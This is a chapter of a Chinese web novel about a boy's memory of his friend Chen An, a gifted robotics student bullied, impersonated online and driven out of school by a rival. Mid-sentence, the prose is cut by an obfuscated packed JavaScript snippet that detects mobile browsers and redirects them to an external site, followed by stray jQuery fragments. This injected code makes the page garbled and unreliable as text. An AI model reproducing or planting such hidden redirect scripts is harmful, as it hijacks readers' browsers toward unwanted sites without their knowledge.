Chapter27
那年也是冬天。
年幼的陆晏和贺盛楠来到机器人基地。
场馆已经有很多人了，但是陆晏倒是第一次来，男孩子嘛，总是对机器人抱着莫名的狂热，他们俩在展厅里面走走停停，嘴里念念叨叨，还会拿着相机拍照晒展厅各种炫酷的机器。
贺盛楠当时表现得比他还要狂热，说：“那边很多人，走，我们过去看看。”
那边是小型机器狗。
贺盛楠过去看，陆晏看完了食不知味地到处打量，忽然，一个人影进入了他的视线。
人影就站在展厅最偏僻的角落，是个男孩，年龄跟他差不多。穿着格子衫，皮肤很白，几秒之后，那人好像有所察觉，拿着传感器抬起头，转过脸来。
陆晏赶紧撇开。
那边的机器在他手中有了反应。
没忍住，陆晏再次偷偷看过去，发现那人捣鼓着，嘴里念念有词：
“这个飞控算法的姿态解算又发散了……”
飞控算数？发散？
好新颖的词。
然后他就走过去了，蹲在这人的面前。
当时其他人都在看展厅的各种机器，只有他们两个人在角落里蹲着，看一堆稀奇古怪的板子和零件。像是在消磨时间，可又不像，陆晏看着他把机器人的每一部位和零件拆解下来，而后又重新上。他看得津津有味，可看他卡在下一步。
那人就偏过头，问了他一句：“这个安在那个位置来着？”
陆晏左右看看，用手指着自己。
“……我？”
男孩又招了招手。
看来就是在跟他说话了。
男孩比陆晏身高差不太多，体型更瘦，皮肤更白，长相偏阴柔……
陆晏挪过去，若有所思地把板子的各接线重新连接。
如果那天没有因为好奇蹲下来看他拆解一切都还来得及，此刻他还不知道已经走进了命运的转折点——对面前的机器产生了比以往更浓厚的兴趣。
当感应器操控机器人运动。
陆晏站起身来。
就这么第一次和人完成了拆解与重组，这么的突然又顺其自然的发生了。
男孩随后再自动售卖机前买了两瓶饮料，其中一瓶递给陆晏。
陆晏接过，拧开瓶盖喝了一大口，男孩扬起下巴，说——
“我叫陈桉。”
“哦，陆晏。”
那是陆晏与陈桉的初次相遇。
他们那天交换了名字，贺盛楠也找到了他们。有了陈桉这个对机器人异常了解的同龄人，接下来的陆晏和贺盛楠的观展变得异常的有趣，就连贺盛楠都说：“你有电话吗？我们加个联系方式吧，没下次我们一起出来……”
他们三个成了好朋友，好兄弟，甚至成为了他人口中的“三剑客”。
陈桉跟他们是一个学校的，只是不同班，他还解释他之所以对机器人特别了解，是因为他家里有个哥哥，南大无人系统专业的高材生。
陆晏很喜欢跟他玩。
也喜欢跑去他家里，找他跟他那高材生哥聊天。
那时候陆晏对待学习还没发力，陈桉的成绩却一路遥遥领先，他话很少，跟女孩子说话就脸红，结结巴巴，但是当接触到机器人，却全然是另一副神情。学校发榜那天，陆晏看到位居全年级第一的他。
“这个叫姓陈的就是我和你说过的那个。”后面一个男生说。
陆晏侧目，他叫什么来着……翁钰？
“呵，娘炮。”
“想不到居然又是他考第一。”翁钰跟旁边的付蕴莎说。
什么鬼……
陆晏也有点意外。
这是全市最好的初中，陆晏当时也只能挤进全年级第十，远远达不到陈桉常年霸榜第一的能力，视线往下看……好吧，第二名又是翁钰。
当时也略有听闻翁钰这人，高知家庭，母亲是本部高中主任，父亲还是教育局的人，爷爷还是南大的返聘教授，而他本人也优秀得不得了，老师手中的掌心宝。但他偏偏就不是第一，而是第二。
而他对第一有着独特的追求，近乎魔怔的执念。
No.1
翁钰上每个学科时格外认真，后面陆晏得知，他也搞竞赛，也在搞机器人，而他的父母甚至给他铺好了升学加分乃至未来的每一条道路。
陆晏没见过翁钰父母。
但好像有在办公室门口听到老师谈论过他的父母，反正就是，得罪不起吧。
出了那次放榜日跟翁钰有所接触，陆晏后面就没怎么见到他了，事实上他对翁钰这人也没什么兴趣。翁钰这个人在他看来太无趣了，没什么好交流的。
唯一记得，翁钰作为万年老二更是被大家戏谑，所有人都记得全年级第一是谁，谁会记得第二啊？就连翁钰的父亲也有所耳闻，他对目前翁钰的成绩非常不满意，母亲也给他在外面报了很多补习班，事实证明，补习真的有用，那次中期，他考了第一。但是那次陈桉第二，但只比他低0.5分。
陆晏再次跟陈桉聊起这个话题还是在体育课。两个班都是在下午第二节有体育课，陈桉在写演讲稿，很流畅。
周围没有其他人，陆晏悄悄来到陈桉的身后，看见笔记本上密密麻麻都是英文。陈桉的英语字体很漂亮，熟练的花体，陆晏自己的英语也不差，但是要完全看懂还是会花些时间。
这些语法体系……是高中亦或者考级才会出现，陆晏想。
陈桉回过头。
陆晏直接跳下去坐在他身边，因为长期缺乏锻炼，陈桉头发更长，皮肤更白，整个骨架很细长。
陈桉班的那些人用很奇怪的目光看过来……陆晏心里奇怪，不过倒也没关注那么多。
那些人还在看他。
莫名其妙，陆晏把陈桉英文稿子偷偷看完了。
“他们好像在说我们？”
陆晏说完这句之后就觉得旁边的陈桉僵硬了一下，停下笔，他脸带疑惑低看向陈桉，疑惑道：“你怎么了？”陈桉的脸上浮现出一丝为难的神色。
“陆晏，我喜欢女的。”
“我也是啊。”
这话问得莫名其妙。陆晏当然喜欢女的，而且还要长得好看的。
只见陈按然后又低下头写写画画。
他说：“我觉得付蕴莎很可爱，她笑起来很可爱，生气的时候更可爱。”
“啥？”
付蕴莎？？？
那不是经常在翁钰身边那个？？？
陆晏拍了拍他的肩膀。
陈桉没忍住，在一边笑出声。陆晏顿住，她第一次见到陈桉肆无忌惮的笑。随后陈桉聊到了最近的烦恼，有关付蕴莎，有关翁钰。
付蕴莎，嗯，很漂亮很可爱。
特别特别特别特别特别可爱。
翁钰的话……
算不得喜欢付蕴莎吧，但是他也不允许她跟别人说话。
然后又聊到了班上莫名有人说他是娘炮。陆晏也是第一次知道有关他的校园生活，暗恋，针对，青涩，谣言，好吧，也没有很认真听。他从笔记本里发现了图纸，像是小机器。
“你要做这个？”陆晏问陈桉。
“嗯。”
“像瓦力？”
“对，就是要做它。”
陆晏懂了，当时的那部电影简直风靡世界——就连陈桉也这么努力地想复刻，不是真的跟随潮流也不是想要炫耀，而是纯粹的热爱机器人。
陈桉对于陆晏来说……更像是师兄，一个把他引到科技殿堂的师兄。他的热爱，他的纯粹，他对知识的渴望，无关成绩，只有热爱。他从他身上学到了很多。
他们走得更近了。
但是他们班上似乎更加排挤陈桉了，觉得他孤僻傲慢，是个怪人，是个基佬。陆晏觉得不对。然后他也不知道这个谣言是这样的离谱，可笑。
可在那个冬天，流言如病毒一般蔓延开来，陈桉在班上唯一能说几句的好友不堪忍受流言的避而远之，周围人嘲笑排斥，就连不小心在课桌上打饭的白色奶渍，都会被人曲解成最污秽的意思，然后对他进行最恶意的揣测。放学后，陆晏去教室找到他，整个教室就他一个人，他在看外面的雪花。
这次他的脸上有血。
很多。
在鹅毛大雪中，陈桉说到最近发生的事情。
翁钰向付蕴莎表白了，即使不喜欢却还是表白了，就在这个教室，他们成了男女朋友。除开这个，就是在晚上著名的同性交友论坛上，有人用他的身份信息进行了登录，和不同的男人撩骚。现在那些粗鄙下流的聊天截图满世界都是。他跟他们打起来了，他被打得浑身是伤。
陆晏忍无可忍，是谁做的？
“是翁钰。”陈桉说，“我哥找同学帮忙，查到了登录的IP地址，他很聪明也很戒备，我知道是他……他怎么能这么做……他是不是疯了……”
“直接曝光他啊。”
“不行。”陈桉再次强调，“我在求他时候说了，他甚至让我去告，老师也很偏袒他，主任也是，大家都不相信我。”
“我懂了。”陆晏说，“他关系硬，大家得罪不起。”
陈桉想了想，然后点头，“大概就是这样了。”
陆晏一动不动，陈桉扯出嘴皮笑了下，很尴尬，说：“这件事跟你无关，你以后也离我远点吧。”
陆晏说：“马上期末了。”
“嗯。”陈桉看起来不太在意。
“让他闭嘴。”
陈桉转头看他，问：“让谁？”
“翁钰。”
翁钰最怕的就是第二，他要让第二成为他梦魇般的存在。
“把他踩在脚底下，让他永远都起不来。”
“哈哈。”陈桉似乎被逗笑了，但是这个提议却意外的让他找到了反击的绝妙办法，“想让他生气，那太简单了，你信不信这个期末开始还有接下来的比赛，我能让翁钰以最惨烈的方式失败。”
陆晏笑着看着她。
陈桉瞥过来：“干嘛，不信啊？”
陆晏笑。
“信。”
他信陈桉，这个人，这个天才。
他一定会赢。
陆晏觉得，翁钰甚至不算他的对手。
更不会是陈桉的。
然后，那一学期的期末考试，陈桉直接让了翁钰一个英语作文，赢了，接下来的比赛，更是让翁钰每次跟他对决都是失败……后面他索性不让了，直接碾压式对战，打得翁
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16626183|185512||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
钰产生了心理阴影。
那整整一年。
翁钰产生了很强的应激反应——
第二，真的成为了他的梦魇。
可是……
可是要是一直就这么下去就好了。
初三那年，陈桉是同性恋的谣言如狂风般横扫全校，他的与众不同被方法讨论，他的白皙清秀，他的长发，安静腼腆的性格，都成为他市同性恋的佐证；过往的聊天记录再次被暴露在所有人闲聊的只言片语中。他找到班主任，隐瞒了谣言，第一次老师在班上说了一遍，第二次，第三次……第四次，老师问他，为什么会出现这样的事情，要不要反省一下是不是自己做了什么，导致大家这么讨厌他。
而陆晏也注意到那段时间陈桉状态是不对劲，除了学校，家里也发生了重大变故。
他的父亲在外打工……防护没做好，从高楼摔死了。
陆晏清晰得记得，那天好像是星期五，他和贺盛楠和陈桉，他们三个走在回家的路上，他妈妈一通电话让他变得不知所措。接下来的一周他都没有去上课。直到第二周周四，返校，面对翁钰讥讽，一向没脾气的他像是找到了发泄口，将他推倒在地，抄起板凳，一下一下又一下，打在他身上。
——可这次是他失败了。
陈桉红了眼，歇斯底里，直到付蕴莎尖叫起来。
他停下，大口大口呼吸。
陈桉猛然低下头，那瞬间近乎崩溃，弯下腰，在翁钰的耳边说：“够了！你放过我吧，求求你了，离我远一点！”他声音撕裂，声嘶力竭低发泄，在脱力后清醒过来，“你太可怕了你太可怕了……”
他就那么看着陈桉，陈桉在他的注视下彻底放弃抵抗。
“你不会放过我的！我知道，你死也不会放过我！”
当陆晏听到这个消息跑到办公室的时候，翁钰的母亲来了，他的父亲没到。
反倒是陈桉的母亲和哥哥，他家里的人都到了，两个人止不住道歉。在陈桉口中意气风发的哥哥，此刻也苍老得不成样子。
后面学校要劝退陈桉，还要把记录留在他的档案上，要让他背负一辈子。家里面在给他联系学校，最后还是托关系，搬家回到了老家去。
后面陆晏再也没有见过陈桉了，就连给他发送消息也都石沉大海。陆晏找了好久好久，才从一老大爷那里打听到他老家所在的具体地址，还有一串座机号码。他把他那时候所有的零花钱，都放进了信封，按照纸条上的地址邮寄了过去。他们家现在很困难，如果这笔钱……能帮助到他们家，帮助到他继续上学，就好了。
致陈桉：
我们还是三剑客。
——陆晏留。
但是发生这件事后，贺盛楠很明显的就是对机器人失去兴趣。翁钰倒是成了全年级第一。
“诶？翁钰好像提前被八中录取走了。”
“他好厉害啊。”
“对啊，这次模拟考每次都是全年级第一。”
“羡慕了。”
“第二是谁啊？”
“哈哈，谁记得第二啊。”
“……”
陆晏一言不发，看着发下来的纸条，他会想到陈桉，想到贺盛楠，想到三人聊机器人的种种画面。
或许以后不会再发生了，陆晏有些苦涩。
那段时间他很少说话，陆晏从陆远程那里得到消息，说他又转学了。这次，他们终究是断了联系，可能以后茫茫人海中也再难遇见。
对待学习，他还是老样子。
倒是对机器人展现出了更为狂热的感情，那几张图纸，他还真的手搓出了瓦力贺伊娃，后面不断对系统进行改良优化。
甚至远超陈桉。
中考如约而至，陆晏揣了一支笔就进了考场，考完之后只是隐隐有个感觉——
他会超过那个叫翁钰的。
“哥……”
“哥！！”
陆晏被蒋轶喊回神，看到那张熟悉的脸，他人都有一瞬间恍惚。
他的大脑放空。
脸如工笔画，自带英气，肌肤白皙，琥珀眼明亮聪慧，她不爱笑，可笑起来却很好看。其实并不算是他喜欢的那种明艳大美人，但好像也挪不开眼。
“刚刚跟你说话你都听不见。”
陆晏看向前方，翁钰他们已经走了好远，付蕴莎依旧是他的女朋友，一直都是，就像战利品。
他敛下目光语气轻松道：“想起一件事，反正期末结束了，过几天带你出去玩。”
蒋轶就那么看着他，陆晏话说完了就向前走。
她快走几步，拉住了陆晏的手。
“你在想什么？”
陆晏没有反应过来：“什么？”
“翁钰。”蒋轶凝视着他，“刚才见到他了之后你就不说话了，你和他有过节，是不是？”
陆晏不可思议地笑了：“这你都看得出来。”
“因为你不开心。”
“……”
陆晏挑眉。
“别去想了。”蒋轶紧紧握住他的手，说，“生活中总会失去一些，得到一些，这都叫做平常。”
陆晏垂眸，无言片刻，反手握住。
去你妈的平常。
“我都要得到。”